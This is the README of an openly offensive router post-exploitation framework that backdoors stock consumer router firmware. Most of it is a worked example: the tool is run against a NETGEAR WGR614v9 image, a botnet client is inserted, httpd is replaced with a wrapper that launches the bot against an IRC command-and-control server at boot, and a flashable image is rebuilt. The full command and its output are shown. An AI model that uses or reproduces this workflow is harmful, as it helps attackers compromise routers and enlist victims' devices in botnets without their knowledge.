RPEF - Abstracts and expedites the process of backdooring stock firmware images for consumer/SOHO routers

Router Post-Exploitation Framework

Currently, the framework includes a number of firmware image modules:

'Verified'   - This module is confirmed to work and is stable.

'Unverified' - This module is believed to work or should work with
               little additional effort, but awaits being tested on a
               physical device.

'Testing'    - This module is currently undergoing development and is
               unstable for the time being.  Users should consider this
               module a "work in progress."

'Roadblock'  - Issues have halted progress on this module for the time
               being.  Certain unavailable utilities or significant
               reverse engineering work may be necessary.

For a list of options, run:

./rpef.py -h

For a list of all currently supported firmware targets, run:

./rpef.py -ll

The script is written for Python 2.6 and may require the installation of a few modules. It is typically invoked as:

./rpef.py  
 

and accepts a number of optional switches (see -h).
The rules/ directory stores a hierarchy of rules// directories. One module correlates to one firmware checksum (not to one specific router) since multiple routers have been observed to run the exact same firmware. Within each module is properties.json which stores the language and order of operations necessary to unpackage, backdoor, and repackage the target firmware image. The payloads/ directory stores cross-compiled binaries ready for deployment, and the optional dependencies/ directory stores miscellaneous files to aid the process.
The utilities/ directory stores pre-compiled x86 binaries to perform tasks such as packing/unpacking filesystems, compressing/decompressing data (for which no suitable .py module exists), and calculating checksums.
The payloads_src/ directory stores source code for the payloads themselves. All payloads are written from scratch to keep them as small as possible.

Usage

To verbosely generate a firmware image for the WGR614v9 backdoored with a botnet client, run:

./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v

And the process should proceed as follows:

$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
    Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
    Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
    Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
    Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
    Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
        Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin

        created 217 files
        created 27 directories
        created 48 symlinks
        created 0 devices
        created 0 fifos
[+] Inserting payload
    Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
    Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
    Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
    Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax      
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
    Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
    Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
    Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
        Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
        Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.

        Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
        Filesystem size 1442.99 Kbytes (1.41 Mbytes)
            29.38% of uncompressed filesystem size (4912.18 Kbytes)
        Inode table size 2245 bytes (2.19 Kbytes)
            33.63% of uncompressed inode table size (6675 bytes)
        Directory table size 2322 bytes (2.27 Kbytes)
            55.26% of uncompressed directory table size (4202 bytes)
        Number of duplicate files found 3
        Number of inodes 293
        Number of files 218
        Number of fragments 22
        Number of symbolic links  48
        Number of device nodes 0
        Number of fifo nodes 0
        Number of socket nodes 0
        Number of directories 27
        Number of uids 1
            root (0)
        Number of gids 0
[+] Gluing parts together
    Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
    Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
    Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
    Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
        Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
    Step 1: Rmdir /tmp/tmpOaw1tn/

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